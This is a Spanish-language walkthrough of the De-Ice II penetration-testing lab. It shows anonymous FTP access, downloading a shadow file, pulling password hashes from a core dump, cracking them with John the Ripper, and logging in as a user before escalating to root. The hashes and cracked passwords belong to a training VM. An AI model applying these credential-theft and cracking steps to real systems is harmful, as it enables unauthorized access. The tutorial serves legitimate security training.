Una vez hemos conseguido ingresar al sistema por medio del servidor FTP con acceso anónimo trataremos de elevar u obtener información sensible que nos permita cumplir con nuestro objetivo como PenTesters.
Ingresemos entonces al sistema, exploremos y recolectemos información.
root@bt:~/De-Ice_II# ftp 192.168.1.110
Connected to 192.168.1.110.
220 (vsFTPd 2.0.4)
Name (192.168.1.110:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
————
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 7 1000 513 160 Mar 15 2007 download
drwxrwxrwx 2 0 0 60 Feb 26 2007 incoming
226 Directory send OK.
———–
Exploremos lo que parece ser el directorio de descargas de copias de seguridad o migraciones descrito en el escenario del entorno.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 6 1000 513 340 Mar 15 2007 etc
drwxr-xr-x 4 1000 513 100 Mar 15 2007 opt
drwxr-xr-x 10 1000 513 400 Mar 15 2007 root
drwxr-xr-x 5 1000 513 120 Mar 15 2007 usr
drwxr-xr-x 3 1000 513 80 Mar 15 2007 var
226 Directory send OK.
Acá debemos explorar en detalle el contenido de cada uno de estos directorios con la finalidad de encontrar información relevante que permita elevar privilegios en el sistema. Cada persona será libre de elegir el directorio por el cual comenzar, pero recomiendo hacerlo con los directorios que revelan más información del sistema. Para este caso el directorio /etc.
ftp> cd etc
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 4 1000 513 160 Mar 15 2007 X11
-rw-r–r– 1 1000 513 362436 Mar 03 2007 core
drwxr-xr-x 2 1000 513 100 Mar 15 2007 fonts
-rw-r–r– 1 1000 513 780 Apr 30 2005 hosts
-rw-r–r– 1 1000 513 718 Jul 03 2005 inputrc
-rw-r–r– 1 1000 513 1296 Jun 10 2006 issue
-rw-r–r– 1 1000 513 183 Jun 23 2005 lisarc
-rw-r–r– 1 1000 513 56 Oct 21 2004 localtime
lrwxrwxrwx 1 1000 513 23 Feb 18 06:16 localtime-copied-from -> /usr/share/zoneinfo/GMT
-rw-r–r– 1 1000 513 10289 Dec 31 2003 login.defs
-rw-r–r– 1 1000 513 1 Dec 31 2003 motd-slax
drwxr-xr-x 2 1000 513 100 Mar 15 2007 profile.d
drwxr-xr-x 2 1000 513 220 Mar 15 2007 rc.d
-rw-r–r– 1 1000 513 440 Jul 18 2006 shadow
226 Directory send OK.
Recomiendo además ir realizando la descarga de los archivos y directorios que consideremos de interés para el Test de Penetración. Para ello basta ejecutar la siguiente instrucción:
get name_file
En este caso quedaría así:
ftp> get shadow
local: shadow remote: shadow
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for shadow (440 bytes).
226 File send OK.
440 bytes received in 0.00 secs (1761.0 kB/s)
Una vez descargados y analizados los archivos procedemos a utilizar los resultados obtenidos en dicho análisis.
Entre los archivos descargados y analizados podemos encontrar varios de mucho interés que deben ser tenidos en cuenta.
Uno de ellos es el archivo shadow almacenado en el directorio /etc
root@bt:~/De-Ice_II# cat shadow
root:$1$3OF/pWTC$lvhdyl86pAEQcrvepWqpu.:12859:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
Podríamos intentar un ataque de fuerza bruta para descifrar la contraseña de root, pero si observamos en detalle el mismo, podemos deducir que este no corresponde al sistema objetivo, pues no presenta los posibles usuarios administradores del sistema identificados en la primera fase del Test de Penetración.
Contact information for admins is as follows:
Sr. System Admin: Adam Adams – adamsa@herot.net
System Admin (Intern): Bob Banter – banterb@herot.net
System Admin: Chad Coffee – coffeec@herot.net
De otro lado fue decisivo encontrar un archivo conocido como CORE
root@bt:~/De-Ice_II# ls
core rc.FireWall rc.S rc.inet1 rc.slaxconfig shadow
rc.6 rc.M rc.gpm rc.slax root
Los archivos core son generados (volcados de memoria) a raiz de fallos o crash del sistema. Estos contienen información referente al estado de memoría y del sistema, además de contener información relacionada al aplicativo que generó dicho crash. (Más información>>)
Veamos los strings de dicho archivo:
… (Final del archivo core)
root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::bin:*:9797:0:::::
daemon:*:9797:0::::: adm:*:9797:0:::::
lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: sshd:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7::: bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7::: ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::
Una vez identificados los usuarios válidos del sistema procedamos a descifrar sus contraseñas.
Hagamos uso de john the ripper
root@bt:~/Sec-Track/info/john-1.7.4.2/run# ./john
John the Ripper password cracker, version 1.7.4.2
Copyright (c) 1996-2010 by Solar Designer and others
Homepage: http://www.openwall.com/john/
Usage: john [OPTIONS] [PASSWORD-FILES]
–single “single crack” mode
–wordlist=FILE –stdin wordlist mode, read words from FILE or stdin
–rules enable word mangling rules for wordlist mode
–incremental[=MODE] “incremental” mode [using section MODE]
–external=MODE external mode or word filter
–stdout[=LENGTH] just output candidate passwords [cut at LENGTH]
–restore[=NAME] restore an interrupted session [called NAME]
–session=NAME give a new session the NAME
–status[=NAME] print status of a session [called NAME]
–make-charset=FILE make a charset, FILE will be overwritten
–show show cracked passwords
–test[=TIME] run tests and benchmarks for TIME seconds each
–users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) only
–groups=[-]GID[,..] load users [not] of this (these) group(s) only
–shells=[-]SHELL[,..] load users with[out] this (these) shell(s) only
–salts=[-]COUNT load salts with[out] at least COUNT passwords only
–format=NAME force hash type NAME: DES/BSDI/MD5/BF/AFS/LM
–save-memory=LEVEL enable memory saving, at LEVEL 1..3
Comenzaré utilizando el diccionario básico que incluye el mismo john the ripper, según los resultados obtenidos aumentaré la complejidad de los diccionarios.
…
Con diccionarios básicos no he tenido buenos resultados… Por ello utilicé un diccionario más complejo que me va arrojando los siguientes resultados:
C:\Users\4v4t4r\Downloads\john171w\john1701\run>john-386.exe users.txt –wordlist=dic.lst
Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])
guesses: 0 time: 0:00:00:33 1% c/s: 5559 trying: Jagdgesetze
guesses: 0 time: 0:00:00:54 1% c/s: 5561 trying: Unberechenbarke
guesses: 0 time: 0:00:01:36 3% c/s: 5508 trying: pingelige
guesses: 0 time: 0:00:02:38 5% c/s: 5528 trying: de’mante`lerai
guesses: 0 time: 0:00:03:27 6% c/s: 5534 trying: radioreportages
guesses: 0 time: 0:00:06:14 10% c/s: 5528 trying: seccature
guesses: 0 time: 0:00:07:06 12% c/s: 5527 trying: ik{iseni
guesses: 0 time: 0:00:13:50 25% c/s: 5502 trying: cvakaly
guesses: 0 time: 0:00:14:21 26% c/s: 5503 trying: nejnevycvicenej
guesses: 0 time: 0:00:19:14 33% c/s: 5483 trying: myjv
guesses: 0 time: 0:00:21:18 36% c/s: 5483 trying: villaje
Complexity (root)
guesses: 1 time: 0:00:21:39 37% c/s: 5483 trying: Beintema
guesses: 1 time: 0:00:24:09 42% c/s: 5474 trying: walesa
Encontrado el password de root (Y) de todas maneras la dejo seguir, con el objetivo de descifrar los demás passwords.
Finalmente y luego de 40 minutos obtuvimos lo siguiente:
C:\Users\4v4t4r\Downloads\john171w\john1701\run>john-386.exe users.txt –wordlis
t=dic.lst
Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])
guesses: 0 time: 0:00:00:33 1% c/s: 5559 trying: Jagdgesetze
guesses: 0 time: 0:00:00:54 1% c/s: 5561 trying: Unberechenbarke
guesses: 0 time: 0:00:01:36 3% c/s: 5508 trying: pingelige
guesses: 0 time: 0:00:02:38 5% c/s: 5528 trying: de’mante`lerai
guesses: 0 time: 0:00:03:27 6% c/s: 5534 trying: radioreportages
guesses: 0 time: 0:00:06:14 10% c/s: 5528 trying: seccature
guesses: 0 time: 0:00:07:06 12% c/s: 5527 trying: ik{iseni
guesses: 0 time: 0:00:13:50 25% c/s: 5502 trying: cvakaly
guesses: 0 time: 0:00:14:21 26% c/s: 5503 trying: nejnevycvicenej
guesses: 0 time: 0:00:19:14 33% c/s: 5483 trying: myjv
guesses: 0 time: 0:00:21:18 36% c/s: 5483 trying: villaje
Complexity (root)
guesses: 1 time: 0:00:21:39 37% c/s: 5483 trying: Beintema
guesses: 1 time: 0:00:24:09 42% c/s: 5474 trying: walesa
Zymurgy (bbanter)
guesses: 2 time: 0:00:35:35 76% c/s: 5446 trying: Nachkriegspolit
guesses: 2 time: 0:00:38:15 85% c/s: 5444 trying: ritornato
guesses: 2 time: 0:00:39:13 88% c/s: 5442 trying: skrigen
guesses: 2 time: 0:00:41:43 97% c/s: 5448 trying: vozidlech
guesses: 2 time: 0:00:42:30 100% c/s: 5449 trying: ovrigt
Confirmemos entonces el acceso al sistema con los usuarios encontrados:
login as: root
root@192.168.1.110′s password:
Access denied
root@192.168.1.110′s password:
Acceso denegado para login remoto como root en el sistema… Probemos entonces a iniciar con bbanter y elevar privilegios como root (su):
login as: bbanter
bbanter@192.168.1.110′s password:
Linux 2.6.16.
bbanter@slax:~$ su
Password: **********
root@slax:/home/bbanter#
Hemos conseguido ingresar al sistema con todos los privilegios… En el próximo post exploraremos el sistema en busca de información confidencial que comprometa la seguridad de la empresa objetivo…





